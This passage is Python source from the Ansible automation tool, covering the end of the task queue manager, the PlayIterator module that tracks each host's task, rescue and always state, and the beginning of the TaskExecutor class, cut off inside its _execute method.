        if getattr(self._options, 'start_at_task', None) is not None and play_context.start_at_task is None:
            self._start_at_done = True

        # and run the play using the strategy and cleanup on way out
        play_return = strategy.run(iterator, play_context)

        # now re-save the hosts that failed from the iterator to our internal list
        for host_name in iterator.get_failed_hosts():
            self._failed_hosts[host_name] = True

        self._cleanup_processes()
        return play_return

    def cleanup(self):
        display.debug("RUNNING CLEANUP")
        self.terminate()
        self._final_q.close()
        self._cleanup_processes()

    def _cleanup_processes(self):
        if hasattr(self, '_workers'):
            for (worker_prc, rslt_q) in self._workers:
                rslt_q.close()
                if worker_prc and worker_prc.is_alive():
                    try:
                        worker_prc.terminate()
                    except AttributeError:
                        pass

    def clear_failed_hosts(self):
        self._failed_hosts = dict()

    def get_inventory(self):
        return self._inventory

    def get_variable_manager(self):
        return self._variable_manager

    def get_loader(self):
        return self._loader

    def get_workers(self):
        return self._workers[:]

    def terminate(self):
        self._terminated = True

    def has_dead_workers(self):

        # [<WorkerProcess(WorkerProcess-2, stopped[SIGKILL])>,
        # <WorkerProcess(WorkerProcess-2, stopped[SIGTERM])>

        defunct = False
        for idx,x in enumerate(self._workers):
            if hasattr(x[0], 'exitcode'):
                if x[0].exitcode in [-9, -15]:
                    defunct = True
        return defunct

    def send_callback(self, method_name, *args, **kwargs):
        for callback_plugin in [self._stdout_callback] + self._callback_plugins:
            # a plugin that set self.disabled to True will not be called
            # see osx_say.py example for such a plugin
            if getattr(callback_plugin, 'disabled', False):
                continue

            # try to find v2 method, fallback to v1 method, ignore callback if no method found
            methods = []
            for possible in [method_name, 'v2_on_any']:
                gotit =  getattr(callback_plugin, possible, None)
                if gotit is None:
                    gotit = getattr(callback_plugin, possible.replace('v2_',''), None)
                if gotit is not None:
                    methods.append(gotit)

            for method in methods:
                try:
                    # temporary hack, required due to a change in the callback API, so
                    # we don't break backwards compatibility with callbacks which were
                    # designed to use the original API
                    # FIXME: target for removal and revert to the original code here after a year (2017-01-14)
                    if method_name == 'v2_playbook_on_start':
                        import inspect
                        (f_args, f_varargs, f_keywords, f_defaults) = inspect.getargspec(method)
                        if 'playbook' in f_args:
                            method(*args, **kwargs)
                        else:
                            method()
                    else:
                        method(*args, **kwargs)
                except Exception as e:
                    #TODO: add config toggle to make this fatal or not?
                    display.warning(u"Failure using method (%s) in callback plugin (%s): %s" % (to_unicode(method_name), to_unicode(callback_plugin), to_unicode(e)))
                    from traceback import format_tb
                    from sys import exc_info
                    display.debug('Callback Exception: \n' + ' '.join(format_tb(exc_info()[2])))






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import fnmatch

from ansible.compat.six import iteritems

from ansible import constants as C

from ansible.errors import AnsibleError
from ansible.playbook.block import Block
from ansible.playbook.task import Task

from ansible.utils.boolean import boolean

__all__ = ['PlayIterator']

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class HostState:
    def __init__(self, blocks):
        self._blocks          = blocks[:]

        self.cur_block          = 0
        self.cur_regular_task   = 0
        self.cur_rescue_task    = 0
        self.cur_always_task    = 0
        self.cur_role           = None
        self.cur_dep_chain      = None
        self.run_state          = PlayIterator.ITERATING_SETUP
        self.fail_state         = PlayIterator.FAILED_NONE
        self.pending_setup      = False
        self.tasks_child_state  = None
        self.rescue_child_state = None
        self.always_child_state = None
        self.did_start_at_task  = False

    def __repr__(self):
        return "HostState(%r)" % self._blocks

    def __str__(self):
        def _run_state_to_string(n):
            states = ["ITERATING_SETUP", "ITERATING_TASKS", "ITERATING_RESCUE", "ITERATING_ALWAYS", "ITERATING_COMPLETE"]
            try:
                return states[n]
            except IndexError:
                return "UNKNOWN STATE"

        def _failed_state_to_string(n):
            states = {1:"FAILED_SETUP", 2:"FAILED_TASKS", 4:"FAILED_RESCUE", 8:"FAILED_ALWAYS"}
            if n == 0:
                return "FAILED_NONE"
            else:
                ret = []
                for i in (1, 2, 4, 8):
                    if n & i:
                        ret.append(states[i])
                return "|".join(ret)

        return "HOST STATE: block=%d, task=%d, rescue=%d, always=%d, role=%s, run_state=%s, fail_state=%s, pending_setup=%s, tasks child state? %s, rescue child state? %s, always child state? %s, did start at task? %s" % (
            self.cur_block,
            self.cur_regular_task,
            self.cur_rescue_task,
            self.cur_always_task,
            self.cur_role,
            _run_state_to_string(self.run_state),
            _failed_state_to_string(self.fail_state),
            self.pending_setup,
            self.tasks_child_state,
            self.rescue_child_state,
            self.always_child_state,
            self.did_start_at_task,
        )

    def __eq__(self, other):
        if not isinstance(other, HostState):
            return False

        for attr in (
            '_blocks', 'cur_block', 'cur_regular_task', 'cur_rescue_task', 'cur_always_task',
            'cur_role', 'run_state', 'fail_state', 'pending_setup', 'cur_dep_chain',
            'tasks_child_state', 'rescue_child_state', 'always_child_state'
            ):
            if getattr(self, attr) != getattr(other, attr):
                return False

        return True

    def get_current_block(self):
        return self._blocks[self.cur_block]

    def copy(self):
        new_state = HostState(self._blocks)
        new_state.cur_block = self.cur_block
        new_state.cur_regular_task = self.cur_regular_task
        new_state.cur_rescue_task = self.cur_rescue_task
        new_state.cur_always_task = self.cur_always_task
        new_state.cur_role = self.cur_role
        new_state.run_state = self.run_state
        new_state.fail_state = self.fail_state
        new_state.pending_setup = self.pending_setup
        new_state.did_start_at_task = self.did_start_at_task
        if self.cur_dep_chain is not None:
            new_state.cur_dep_chain = self.cur_dep_chain[:]
        if self.tasks_child_state is not None:
            new_state.tasks_child_state = self.tasks_child_state.copy()
        if self.rescue_child_state is not None:
            new_state.rescue_child_state = self.rescue_child_state.copy()
        if self.always_child_state is not None:
            new_state.always_child_state = self.always_child_state.copy()
        return new_state

class PlayIterator:

    # the primary running states for the play iteration
    ITERATING_SETUP    = 0
    ITERATING_TASKS    = 1
    ITERATING_RESCUE   = 2
    ITERATING_ALWAYS   = 3
    ITERATING_COMPLETE = 4

    # the failure states for the play iteration, which are powers
    # of 2 as they may be or'ed together in certain circumstances
    FAILED_NONE        = 0
    FAILED_SETUP       = 1
    FAILED_TASKS       = 2
    FAILED_RESCUE      = 4
    FAILED_ALWAYS      = 8

    def __init__(self, inventory, play, play_context, variable_manager, all_vars, start_at_done=False):
        self._play = play
        self._blocks = []

        self._task_uuid_cache = dict()

        # Default options to gather
        gather_subset = C.DEFAULT_GATHER_SUBSET
        gather_timeout = C.DEFAULT_GATHER_TIMEOUT

        # Retrieve subset to gather
        if self._play.gather_subset is not None:
            gather_subset = self._play.gather_subset
        # Retrieve timeout for gather
        if self._play.gather_timeout is not None:
            gather_timeout = self._play.gather_timeout

        setup_block = Block(play=self._play)
        setup_task = Task(block=setup_block)
        setup_task.action = 'setup'
        setup_task.tags   = ['always']
        setup_task.args   = {
          'gather_subset': gather_subset,
        }
        if gather_timeout:
            setup_task.args['gather_timeout'] = gather_timeout
        setup_task.set_loader(self._play._loader)
        setup_block.block = [setup_task]

        setup_block = setup_block.filter_tagged_tasks(play_context, all_vars)
        self._blocks.append(setup_block)
        self.cache_block_tasks(setup_block)

        for block in self._play.compile():
            new_block = block.filter_tagged_tasks(play_context, all_vars)
            if new_block.has_tasks():
                self.cache_block_tasks(new_block)
                self._blocks.append(new_block)

        for handler_block in self._play.handlers:
            self.cache_block_tasks(handler_block)

        self._host_states = {}
        start_at_matched = False
        for host in inventory.get_hosts(self._play.hosts):
            self._host_states[host.name] = HostState(blocks=self._blocks)
            # if the host's name is in the variable manager's fact cache, then set
            # its _gathered_facts flag to true for smart gathering tests later
            if host.name in variable_manager._fact_cache:
                host._gathered_facts = True
            # if we're looking to start at a specific task, iterate through
            # the tasks for this host until we find the specified task
            if play_context.start_at_task is not None and not start_at_done:
                while True:
                    (s, task) = self.get_next_task_for_host(host, peek=True)
                    if s.run_state == self.ITERATING_COMPLETE:
                        break
                    if task.name == play_context.start_at_task or fnmatch.fnmatch(task.name, play_context.start_at_task) or \
                       task.get_name() == play_context.start_at_task or fnmatch.fnmatch(task.get_name(), play_context.start_at_task):
                        start_at_matched = True
                        break
                    else:
                        self.get_next_task_for_host(host)

                # finally, reset the host's state to ITERATING_SETUP
                if start_at_matched:
                    self._host_states[host.name].did_start_at_task = True
                    self._host_states[host.name].run_state = self.ITERATING_SETUP

        if start_at_matched:
            # we have our match, so clear the start_at_task field on the
            # play context to flag that we've started at a task (and future
            # plays won't try to advance)
            play_context.start_at_task = None

    def get_host_state(self, host):
        # Since we're using the PlayIterator to carry forward failed hosts,
        # in the event that a previous host was not in the current inventory
        # we create a stub state for it now
        if host.name not in self._host_states:
            self._host_states[host.name] = HostState(blocks=[])

        return self._host_states[host.name].copy()

    def cache_block_tasks(self, block):
        def _cache_portion(p):
            for t in p:
                if isinstance(t, Block):
                    self.cache_block_tasks(t)
                elif t._uuid not in self._task_uuid_cache:
                    self._task_uuid_cache[t._uuid] = t

        for portion in (block.block, block.rescue, block.always):
            if portion is not None:
                _cache_portion(portion)

    def get_next_task_for_host(self, host, peek=False):

        display.debug("getting the next task for host %s" % host.name)
        s = self.get_host_state(host)

        task = None
        if s.run_state == self.ITERATING_COMPLETE:
            display.debug("host %s is done iterating, returning" % host.name)
            return (s, None)

        old_s = s
        (s, task) = self._get_next_task_from_state(s, host=host, peek=peek)

        def _roles_are_different(ra, rb):
            if ra != rb:
                return True
            else:
                return old_s.cur_dep_chain != task.get_dep_chain()

        if task and task._role:
            # if we had a current role, mark that role as completed
            if s.cur_role and _roles_are_different(task._role, s.cur_role) and host.name in s.cur_role._had_task_run and not peek:
                s.cur_role._completed[host.name] = True
            s.cur_role = task._role
            s.cur_dep_chain = task.get_dep_chain()

        if not peek:
            self._host_states[host.name] = s

        display.debug("done getting next task for host %s" % host.name)
        display.debug(" ^ task is: %s" % task)
        display.debug(" ^ state is: %s" % s)
        return (s, task)


    def _get_next_task_from_state(self, state, host, peek):

        task = None

        # try and find the next task, given the current state.
        while True:
            # try to get the current block from the list of blocks, and
            # if we run past the end of the list we know we're done with
            # this block
            try:
                block = state._blocks[state.cur_block]
            except IndexError:
                state.run_state = self.ITERATING_COMPLETE
                return (state, None)

            if state.run_state == self.ITERATING_SETUP:
                # First, we check to see if we were pending setup. If not, this is
                # the first trip through ITERATING_SETUP, so we set the pending_setup
                # flag and try to determine if we do in fact want to gather facts for
                # the specified host.
                if not state.pending_setup:
                    state.pending_setup = True

                    # Gather facts if the default is 'smart' and we have not yet
                    # done it for this host; or if 'explicit' and the play sets
                    # gather_facts to True; or if 'implicit' and the play does
                    # NOT explicitly set gather_facts to False.

                    gathering = C.DEFAULT_GATHERING
                    implied = self._play.gather_facts is None or boolean(self._play.gather_facts)

                    if (gathering == 'implicit' and implied) or \
                       (gathering == 'explicit' and boolean(self._play.gather_facts)) or \
                       (gathering == 'smart' and implied and not host._gathered_facts):
                        # The setup block is always self._blocks[0], as we inject it
                        # during the play compilation in __init__ above.
                        setup_block = self._blocks[0]
                        if setup_block.has_tasks() and len(setup_block.block) > 0:
                            task = setup_block.block[0]
                            if not peek:
                                # mark the host as having gathered facts, because we're
                                # returning the setup task to be executed
                                host.set_gathered_facts(True)
                else:
                    # This is the second trip through ITERATING_SETUP, so we clear
                    # the flag and move onto the next block in the list while setting
                    # the run state to ITERATING_TASKS
                    state.pending_setup = False

                    state.run_state = self.ITERATING_TASKS
                    if not state.did_start_at_task:
                        state.cur_block += 1
                        state.cur_regular_task = 0
                        state.cur_rescue_task  = 0
                        state.cur_always_task  = 0
                        state.child_state = None

            elif state.run_state == self.ITERATING_TASKS:
                # clear the pending setup flag, since we're past that and it didn't fail
                if state.pending_setup:
                    state.pending_setup = False

                # First, we check for a child task state that is not failed, and if we
                # have one recurse into it for the next task. If we're done with the child
                # state, we clear it and drop back to geting the next task from the list.
                if state.tasks_child_state:
                    (state.tasks_child_state, task) = self._get_next_task_from_state(state.tasks_child_state, host=host, peek=peek)
                    if self._check_failed_state(state.tasks_child_state):
                        # failed child state, so clear it and move into the rescue portion
                        state.tasks_child_state = None
                        self._set_failed_state(state)
                    else:
                        # get the next task recursively
                        if task is None or state.tasks_child_state.run_state == self.ITERATING_COMPLETE:
                            # we're done with the child state, so clear it and continue
                            # back to the top of the loop to get the next task
                            state.tasks_child_state = None
                            continue
                else:
                    # First here, we check to see if we've failed anywhere down the chain
                    # of states we have, and if so we move onto the rescue portion. Otherwise,
                    # we check to see if we've moved past the end of the list of tasks. If so,
                    # we move into the always portion of the block, otherwise we get the next
                    # task from the list.
                    if self._check_failed_state(state):
                        state.run_state = self.ITERATING_RESCUE
                    elif state.cur_regular_task >= len(block.block):
                        state.run_state = self.ITERATING_ALWAYS
                    else:
                        task = block.block[state.cur_regular_task]
                        # if the current task is actually a child block, create a child
                        # state for us to recurse into on the next pass
                        if isinstance(task, Block) or state.tasks_child_state is not None:
                            state.tasks_child_state = HostState(blocks=[task])
                            state.tasks_child_state.run_state = self.ITERATING_TASKS
                            state.tasks_child_state.cur_role = state.cur_role
                            # since we've created the child state, clear the task
                            # so we can pick up the child state on the next pass
                            task = None
                        state.cur_regular_task += 1

            elif state.run_state == self.ITERATING_RESCUE:
                # The process here is identical to ITERATING_TASKS, except instead
                # we move into the always portion of the block.
                if state.rescue_child_state:
                    (state.rescue_child_state, task) = self._get_next_task_from_state(state.rescue_child_state, host=host, peek=peek)
                    if self._check_failed_state(state.rescue_child_state):
                        state.rescue_child_state = None
                        self._set_failed_state(state)
                    else:
                        if task is None or state.rescue_child_state.run_state == self.ITERATING_COMPLETE:
                            state.rescue_child_state = None
                            continue
                else:
                    if state.fail_state & self.FAILED_RESCUE == self.FAILED_RESCUE:
                        state.run_state = self.ITERATING_ALWAYS
                    elif state.cur_rescue_task >= len(block.rescue):
                        if len(block.rescue) > 0:
                            state.fail_state = self.FAILED_NONE
                        state.run_state = self.ITERATING_ALWAYS
                    else:
                        task = block.rescue[state.cur_rescue_task]
                        if isinstance(task, Block) or state.rescue_child_state is not None:
                            state.rescue_child_state = HostState(blocks=[task])
                            state.rescue_child_state.run_state = self.ITERATING_TASKS
                            state.rescue_child_state.cur_role = state.cur_role
                            task = None
                        state.cur_rescue_task += 1

            elif state.run_state == self.ITERATING_ALWAYS:
                # And again, the process here is identical to ITERATING_TASKS, except
                # instead we either move onto the next block in the list, or we set the
                # run state to ITERATING_COMPLETE in the event of any errors, or when we
                # have hit the end of the list of blocks.
                if state.always_child_state:
                    (state.always_child_state, task) = self._get_next_task_from_state(state.always_child_state, host=host, peek=peek)
                    if self._check_failed_state(state.always_child_state):
                        state.always_child_state = None
                        self._set_failed_state(state)
                    else:
                        if task is None or state.always_child_state.run_state == self.ITERATING_COMPLETE:
                            state.always_child_state = None
                else:
                    if state.cur_always_task >= len(block.always):
                        if state.fail_state != self.FAILED_NONE:
                            state.run_state = self.ITERATING_COMPLETE
                        else:
                            state.cur_block += 1
                            state.cur_regular_task = 0
                            state.cur_rescue_task  = 0
                            state.cur_always_task  = 0
                            state.run_state = self.ITERATING_TASKS
                            state.tasks_child_state = None
                            state.rescue_child_state = None
                            state.always_child_state = None
                    else:
                        task = block.always[state.cur_always_task]
                        if isinstance(task, Block) or state.always_child_state is not None:
                            state.always_child_state = HostState(blocks=[task])
                            state.always_child_state.run_state = self.ITERATING_TASKS
                            state.always_child_state.cur_role = state.cur_role
                            task = None
                        state.cur_always_task += 1

            elif state.run_state == self.ITERATING_COMPLETE:
                return (state, None)

            # if something above set the task, break out of the loop now
            if task:
                break

        return (state, task)

    def _set_failed_state(self, state):
        if state.run_state == self.ITERATING_SETUP:
            state.fail_state |= self.FAILED_SETUP
            state.run_state = self.ITERATING_COMPLETE
        elif state.run_state == self.ITERATING_TASKS:
            if state.tasks_child_state is not None:
                state.tasks_child_state = self._set_failed_state(state.tasks_child_state)
            else:
                state.fail_state |= self.FAILED_TASKS
                if state._blocks[state.cur_block].rescue:
                    state.run_state = self.ITERATING_RESCUE
                elif state._blocks[state.cur_block].always:
                    state.run_state = self.ITERATING_ALWAYS
                else:
                    state.run_state = self.ITERATING_COMPLETE
        elif state.run_state == self.ITERATING_RESCUE:
            if state.rescue_child_state is not None:
                state.rescue_child_state = self._set_failed_state(state.rescue_child_state)
            else:
                state.fail_state |= self.FAILED_RESCUE
                if state._blocks[state.cur_block].always:
                    state.run_state = self.ITERATING_ALWAYS
                else:
                    state.run_state = self.ITERATING_COMPLETE
        elif state.run_state == self.ITERATING_ALWAYS:
            if state.always_child_state is not None:
                state.always_child_state = self._set_failed_state(state.always_child_state)
            else:
                state.fail_state |= self.FAILED_ALWAYS
                state.run_state = self.ITERATING_COMPLETE
        return state

    def mark_host_failed(self, host):
        s = self.get_host_state(host)
        display.debug("marking host %s failed, current state: %s" % (host, s))
        s = self._set_failed_state(s)
        display.debug("^ failed state is now: %s" % s)
        self._host_states[host.name] = s

    def get_failed_hosts(self):
        return dict((host, True) for (host, state) in iteritems(self._host_states) if self._check_failed_state(state))

    def _check_failed_state(self, state):
        if state is None:
            return False
        elif state.fail_state != self.FAILED_NONE:
            if state.run_state == self.ITERATING_RESCUE and state.fail_state&self.FAILED_RESCUE == 0:
                return False
            else:
                return True
        elif state.run_state == self.ITERATING_TASKS and self._check_failed_state(state.tasks_child_state):
            cur_block = self._blocks[state.cur_block]
            if len(cur_block.rescue) > 0 and state.fail_state & self.FAILED_RESCUE == 0:
                return False
            else:
                return True
        elif state.run_state == self.ITERATING_RESCUE and self._check_failed_state(state.rescue_child_state):
            return True
        elif state.run_state == self.ITERATING_ALWAYS and self._check_failed_state(state.always_child_state):
            return True
        return False

    def is_failed(self, host):
        s = self.get_host_state(host)
        return self._check_failed_state(s)

    def get_original_task(self, host, task):
        '''
        Finds the task in the task list which matches the UUID of the given task.
        The executor engine serializes/deserializes objects as they are passed through
        the different processes, and not all data structures are preserved. This method
        allows us to find the original task passed into the executor engine.
        '''

        if isinstance(task, Task):
            the_uuid = task._uuid
        else:
            the_uuid = task

        return self._task_uuid_cache.get(the_uuid, None)

    def _insert_tasks_into_state(self, state, task_list):
        # if we've failed at all, or if the task list is empty, just return the current state
        if state.fail_state != self.FAILED_NONE and state.run_state not in (self.ITERATING_RESCUE, self.ITERATING_ALWAYS) or not task_list:
            return state

        if state.run_state == self.ITERATING_TASKS:
            if state.tasks_child_state:
                state.tasks_child_state = self._insert_tasks_into_state(state.tasks_child_state, task_list)
            else:
                target_block = state._blocks[state.cur_block].copy(exclude_parent=True)
                before = target_block.block[:state.cur_regular_task]
                after  = target_block.block[state.cur_regular_task:]
                target_block.block = before + task_list + after
                state._blocks[state.cur_block] = target_block
        elif state.run_state == self.ITERATING_RESCUE:
            if state.rescue_child_state:
                state.rescue_child_state = self._insert_tasks_into_state(state.rescue_child_state, task_list)
            else:
                target_block = state._blocks[state.cur_block].copy(exclude_parent=True)
                before = target_block.rescue[:state.cur_rescue_task]
                after  = target_block.rescue[state.cur_rescue_task:]
                target_block.rescue = before + task_list + after
                state._blocks[state.cur_block] = target_block
        elif state.run_state == self.ITERATING_ALWAYS:
            if state.always_child_state:
                state.always_child_state = self._insert_tasks_into_state(state.always_child_state, task_list)
            else:
                target_block = state._blocks[state.cur_block].copy(exclude_parent=True)
                before = target_block.always[:state.cur_always_task]
                after  = target_block.always[state.cur_always_task:]
                target_block.always = before + task_list + after
                state._blocks[state.cur_block] = target_block
        return state

    def add_tasks(self, host, task_list):
        for b in task_list:
            self.cache_block_tasks(b)
        self._host_states[host.name] = self._insert_tasks_into_state(self.get_host_state(host), task_list)







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import base64
import json
import subprocess
import sys
import time
import traceback

from ansible.compat.six import iteritems, string_types, binary_type

from ansible import constants as C
from ansible.errors import AnsibleError, AnsibleParserError, AnsibleUndefinedVariable, AnsibleConnectionFailure
from ansible.executor.task_result import TaskResult
from ansible.playbook.conditional import Conditional
from ansible.playbook.task import Task
from ansible.template import Templar
from ansible.utils.encrypt import key_for_hostname
from ansible.utils.listify import listify_lookup_plugin_terms
from ansible.utils.unicode import to_unicode, to_bytes
from ansible.vars.unsafe_proxy import UnsafeProxy, wrap_var

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

__all__ = ['TaskExecutor']


class TaskExecutor:

    '''
    This is the main worker class for the executor pipeline, which
    handles loading an action plugin to actually dispatch the task to
    a given host. This class roughly corresponds to the old Runner()
    class.
    '''

    # Modules that we optimize by squashing loop items into a single call to
    # the module
    SQUASH_ACTIONS = frozenset(C.DEFAULT_SQUASH_ACTIONS)

    def __init__(self, host, task, job_vars, play_context, new_stdin, loader, shared_loader_obj, rslt_q):
        self._host              = host
        self._task              = task
        self._job_vars          = job_vars
        self._play_context      = play_context
        self._new_stdin         = new_stdin
        self._loader            = loader
        self._shared_loader_obj = shared_loader_obj
        self._connection        = None
        self._rslt_q            = rslt_q

    def run(self):
        '''
        The main executor entrypoint, where we determine if the specified
        task requires looping and either runs the task with self._run_loop()
        or self._execute(). After that, the returned results are parsed and
        returned as a dict.
        '''

        display.debug("in run()")

        try:
            # get search path for this task to pass to lookup plugins
            self._job_vars['ansible_search_path'] = self._task.get_search_path()

            items = self._get_loop_items()
            if items is not None:
                if len(items) > 0:
                    item_results = self._run_loop(items)

                    # loop through the item results, and remember the changed/failed
                    # result flags based on any item there.
                    changed = False
                    failed  = False
                    for item in item_results:
                        if 'changed' in item and item['changed']:
                            changed = True
                        if 'failed' in item and item['failed']:
                            failed = True

                    # create the overall result item, and set the changed/failed
                    # flags there to reflect the overall result of the loop
                    res = dict(results=item_results)

                    if changed:
                        res['changed'] = True

                    if failed:
                        res['failed'] = True
                        res['msg'] = 'One or more items failed'
                    else:
                        res['msg'] = 'All items completed'
                else:
                    res = dict(changed=False, skipped=True, skipped_reason='No items in the list', results=[])
            else:
                display.debug("calling self._execute()")
                res = self._execute()
                display.debug("_execute() done")

            # make sure changed is set in the result, if it's not present
            if 'changed' not in res:
                res['changed'] = False

            def _clean_res(res):
                if isinstance(res, dict):
                    for k in res.keys():
                        res[k] = _clean_res(res[k])
                elif isinstance(res, list):
                    for idx,item in enumerate(res):
                        res[idx] = _clean_res(item)
                elif isinstance(res, UnsafeProxy):
                    return res._obj
                elif isinstance(res, binary_type):
                    return to_unicode(res, errors='strict')
                return res

            display.debug("dumping result to json")
            res = _clean_res(res)
            display.debug("done dumping result, returning")
            return res
        except AnsibleError as e:
            return dict(failed=True, msg=to_unicode(e, nonstring='simplerepr'))
        except Exception as e:
            return dict(failed=True, msg='Unexpected failure during module execution.', exception=to_unicode(traceback.format_exc()), stdout='')
        finally:
            try:
                self._connection.close()
            except AttributeError:
                pass
            except Exception as e:
                display.debug(u"error closing connection: %s" % to_unicode(e))

    def _get_loop_items(self):
        '''
        Loads a lookup plugin to handle the with_* portion of a task (if specified),
        and returns the items result.
        '''

        # save the play context variables to a temporary dictionary,
        # so that we can modify the job vars without doing a full copy
        # and later restore them to avoid modifying things too early
        play_context_vars = dict()
        self._play_context.update_vars(play_context_vars)

        old_vars = dict()
        for k in play_context_vars.keys():
            if k in self._job_vars:
                old_vars[k] = self._job_vars[k]
            self._job_vars[k] = play_context_vars[k]

        templar = Templar(loader=self._loader, shared_loader_obj=self._shared_loader_obj, variables=self._job_vars)
        items = None
        if self._task.loop:
            if self._task.loop in self._shared_loader_obj.lookup_loader:
                #TODO: remove convert_bare true and deprecate this in with_
                if self._task.loop == 'first_found':
                    # first_found loops are special.  If the item is undefined
                    # then we want to fall through to the next value rather
                    # than failing.
                    loop_terms = listify_lookup_plugin_terms(terms=self._task.loop_args, templar=templar, loader=self._loader, fail_on_undefined=False, convert_bare=True)
                    loop_terms = [t for t in loop_terms if not templar._contains_vars(t)]
                else:
                    try:
                        loop_terms = listify_lookup_plugin_terms(terms=self._task.loop_args, templar=templar, loader=self._loader, fail_on_undefined=True, convert_bare=True)
                    except AnsibleUndefinedVariable as e:
                        display.deprecated("Skipping task due to undefined Error, in the future this will be a fatal error.: %s" % to_bytes(e))
                        return None

                # get lookup
                mylookup = self._shared_loader_obj.lookup_loader.get(self._task.loop, loader=self._loader, templar=templar)

                # give lookup task 'context' for subdir (mostly needed for first_found)
                for subdir in ['template', 'var', 'file']: #TODO: move this to constants?
                    if subdir in self._task.action:
                        break
                setattr(mylookup,'_subdir', subdir + 's')

                # run lookup
                items = mylookup.run(terms=loop_terms, variables=self._job_vars, wantlist=True)
            else:
                raise AnsibleError("Unexpected failure in finding the lookup named '%s' in the available lookup plugins" % self._task.loop)

        # now we restore any old job variables that may have been modified,
        # and delete them if they were in the play context vars but not in
        # the old variables dictionary
        for k in play_context_vars.keys():
            if k in old_vars:
                self._job_vars[k] = old_vars[k]
            else:
                del self._job_vars[k]

        if items:
            from ansible.vars.unsafe_proxy import UnsafeProxy
            for idx, item in enumerate(items):
                if item is not None and not isinstance(item, UnsafeProxy):
                    items[idx] = UnsafeProxy(item)
        return items

    def _run_loop(self, items):
        '''
        Runs the task with the loop items specified and collates the result
        into an array named 'results' which is inserted into the final result
        along with the item for which the loop ran.
        '''

        results = []

        # make copies of the job vars and task so we can add the item to
        # the variables and re-validate the task with the item variable
        #task_vars = self._job_vars.copy()
        task_vars = self._job_vars

        loop_var = 'item'
        if self._task.loop_control:
            # the value may be 'None', so we still need to default it back to 'item' 
            loop_var = self._task.loop_control.loop_var or 'item'

        if loop_var in task_vars:
            display.warning("The loop variable '%s' is already in use. You should set the `loop_var` value in the `loop_control` option for the task to something else to avoid variable collisions and unexpected behavior." % loop_var)

        items = self._squash_items(items, loop_var, task_vars)
        for item in items:
            task_vars[loop_var] = item

            try:
                tmp_task = self._task.copy(exclude_parent=True, exclude_tasks=True)
                tmp_task._parent = self._task._parent
                tmp_play_context = self._play_context.copy()
            except AnsibleParserError as e:
                results.append(dict(failed=True, msg=to_unicode(e)))
                continue

            # now we swap the internal task and play context with their copies,
            # execute, and swap them back so we can do the next iteration cleanly
            (self._task, tmp_task) = (tmp_task, self._task)
            (self._play_context, tmp_play_context) = (tmp_play_context, self._play_context)
            res = self._execute(variables=task_vars)
            (self._task, tmp_task) = (tmp_task, self._task)
            (self._play_context, tmp_play_context) = (tmp_play_context, self._play_context)

            # now update the result with the item info, and append the result
            # to the list of results
            res[loop_var] = item
            res['_ansible_item_result'] = True

            self._rslt_q.put(TaskResult(self._host.name, self._task._uuid, res), block=False)
            results.append(res)
            del task_vars[loop_var]

        return results

    def _squash_items(self, items, loop_var, variables):
        '''
        Squash items down to a comma-separated list for certain modules which support it
        (typically package management modules).
        '''
        name = None
        try:
            # _task.action could contain templatable strings (via action: and
            # local_action:)  Template it before comparing.  If we don't end up
            # optimizing it here, the templatable string might use template vars
            # that aren't available until later (it could even use vars from the
            # with_items loop) so don't make the templated string permanent yet.
            templar = Templar(loader=self._loader, shared_loader_obj=self._shared_loader_obj, variables=variables)
            task_action = self._task.action
            if templar._contains_vars(task_action):
                task_action = templar.template(task_action, fail_on_undefined=False)

            if len(items) > 0 and task_action in self.SQUASH_ACTIONS:
                if all(isinstance(o, string_types) for o in items):
                    final_items = []

                    for allowed in ['name', 'pkg', 'package']:
                        name = self._task.args.pop(allowed, None)
                        if name is not None:
                            break

                    # This gets the information to check whether the name field
                    # contains a template that we can squash for
                    template_no_item = template_with_item = None
                    if name:
                        if templar._contains_vars(name):
                            variables[loop_var] = '\0$'
                            template_no_item = templar.template(name, variables, cache=False)
                            variables[loop_var] = '\0@'
                            template_with_item = templar.template(name, variables, cache=False)
                            del variables[loop_var]

                        # Check if the user is doing some operation that doesn't take
                        # name/pkg or the name/pkg field doesn't have any variables
                        # and thus the items can't be squashed
                        if template_no_item != template_with_item:
                            for item in items:
                                variables[loop_var] = item
                                if self._task.evaluate_conditional(templar, variables):
                                    new_item = templar.template(name, cache=False)
                                    final_items.append(new_item)
                            self._task.args['name'] = final_items
                            # Wrap this in a list so that the calling function loop
                            # executes exactly once
                            return [final_items]
                        else:
                            # Restore the name parameter
                            self._task.args['name'] = name
                #elif:
                    # Right now we only optimize single entries.  In the future we
                    # could optimize more types:
                    # * lists can be squashed together
                    # * dicts could squash entries that match in all cases except the
                    #   name or pkg field.
        except:
            # Squashing is an optimization.  If it fails for any reason,
            # simply use the unoptimized list of items.

            # Restore the name parameter
            if name is not None:
                self._task.args['name'] = name
        return items

    def _execute(self, variables=None):
        '''
        The primary workhorse of the executor system, this runs the task
        on the specified host (which may be the delegated_to host) and handles
        the retry/until and block rescue/always execution
        '''

        if variables is None:
            variables = self._job_vars

        templar = Templar(loader=self._loader, shared_loader_obj=self._shared_loader_obj, variables=variables)

        context_validation_error = None
        try:
            # apply the given task's information to the connection info,
            # which may override some fields already set by the play or
            # the options specified on the command line
